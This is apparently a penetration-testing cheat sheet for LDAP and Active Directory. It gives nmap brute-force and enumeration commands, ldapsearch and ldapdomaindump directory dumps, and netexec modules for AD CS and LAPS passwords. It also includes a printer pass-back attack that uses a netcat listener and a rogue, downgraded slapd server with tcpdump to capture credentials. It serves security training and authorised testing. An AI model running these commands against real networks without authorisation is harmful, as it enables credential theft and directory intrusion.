# LDAP (Lightweight Directory Access Protocol) Pentesting

LDAP is a standard protocol designed to maintain and access "directory services" within a network. Default ports are 389 (LDAP), 636 (LDAPS), 3268 (LDAP connection to Global Catalog), 3269 (LDAP connection to Global Catalog over SSL).

### Enumeration <a href="#enumeration" id="enumeration"></a>

```
# Nmap
nmap --script ldap-brute --script-args ldap.base='"cn=users,dc=cqure,dc=net"' -p 389 <target-ip>
nmap --script ldap-search -p 389 <target-ip>
nmap --script ldap-* -p 389 <target-ip>
nmap --script "ldap* and not brute" -p 389 <target-ip>

# NetExec
# -k: Use Kerberos authentication
netexec ldap <target-ip> -u usernames.txt -k
# --trusted-for-delegation: Enumerate computers and users with the flag `TRUSTED_FOR_DELEGATION`
# reference: https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties#property-flag-descriptions
netexec ldap <target-ip> -u username -p password --trusted-for-delegation

# Users
ldapsearch -x -H ldap://10.0.0.1 -D "username@example.local" -w "password" -b "dc=example,dc=local" "(objectclass=user)" sAMAccountName memberOf
# Groups
ldapsearch -x -H ldap://10.0.0.1 -D "username@example.local" -w "password" -b "dc=example,dc=local" "(objectClass=group)" name member
```

### Dump Active Directory Information <a href="#dump-active-directory-information" id="dump-active-directory-information"></a>

If you have the credential, you can get the Active Directory information via LDAP.

```
# --no-html: Disable html output
# --no-grep: Disable greppable output
# -o: Output dir
ldapdomaindump -u 'DOMAIN\username' -p password <target-ip> --no-html --no-grep -o dumped
```

### Connect <a href="#connect" id="connect"></a>

#### AD CS (Active Directory Certificate Services) <a href="#a-d-cs-active-directory-certificate-services" id="a-d-cs-active-directory-certificate-services"></a>

```
netexec ldap <target-ip> -d 'domain' -u 'username' -p 'password' -M adcs
```

#### LAPS (Local Administrator Password Solution) <a href="#laps-local-administrator-password-solution" id="laps-local-administrator-password-solution"></a>

```
netexec ldap <target-ip> -d 'domain' -u 'username' -p 'password' --kdcHost <target-ip> -M laps
```

### Pass-Back Attack <a href="#pass-back-attack" id="pass-back-attack"></a>

Attack against the network devices such as printers.\
For example, access <http://printer.sub.example.com/settings.aspx>

Open a listener for connecting back to your local machine.

```
nc -vp 1389
```

In your browser, test LDAP settings where you input username and password.

#### Host Rogue LDAP Server <a href="#host-rogue-ldap-server" id="host-rogue-ldap-server"></a>

If we cannot connect back in local machine by netcat, we need to create a rogue LDAP server.\
Install the dependencies at first.

```
sudo apt update
sudo apt install -y slapd ldap-utils
sudo systemctl enable slapd
```

Configure your own rogue LDAP server by executing the following command.

```
sudo dpkg-reconfigure -p low slapd

# ---------------------------------------------------

# in configuration dialog

1. Omit OpenLDAP server configuration: No
2. DNS domain name: <target-domain>
3. Organization name: <target-domain>
4. Administrator password: <arbitrary-password>
5. Database backend to use: MDB
6. Do you want the database to be removed when slapd is purged?: No
7. Move old database?: Yes
```

We need to make your rogue LDAP server to be vulnerable by downgrading the supported authentication mechanism.\
Create the config file named "config.ldif".

```
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
```

Now we can use the config file to patch the LDAP server.

```
# -Y: SASL mechanism
# -H: URI
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./config.ldif
sudo service slapd restart
```

We can verify that the rogue LDAP server’s configuration has been applied:

```
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
```

For capturing the credentials, run the following command.

```
sudo tcpdump -SX -i <target-interface-like-eth0> tcp port 389
```

In browser, test the printer settings and capture the credentials via tcpdump.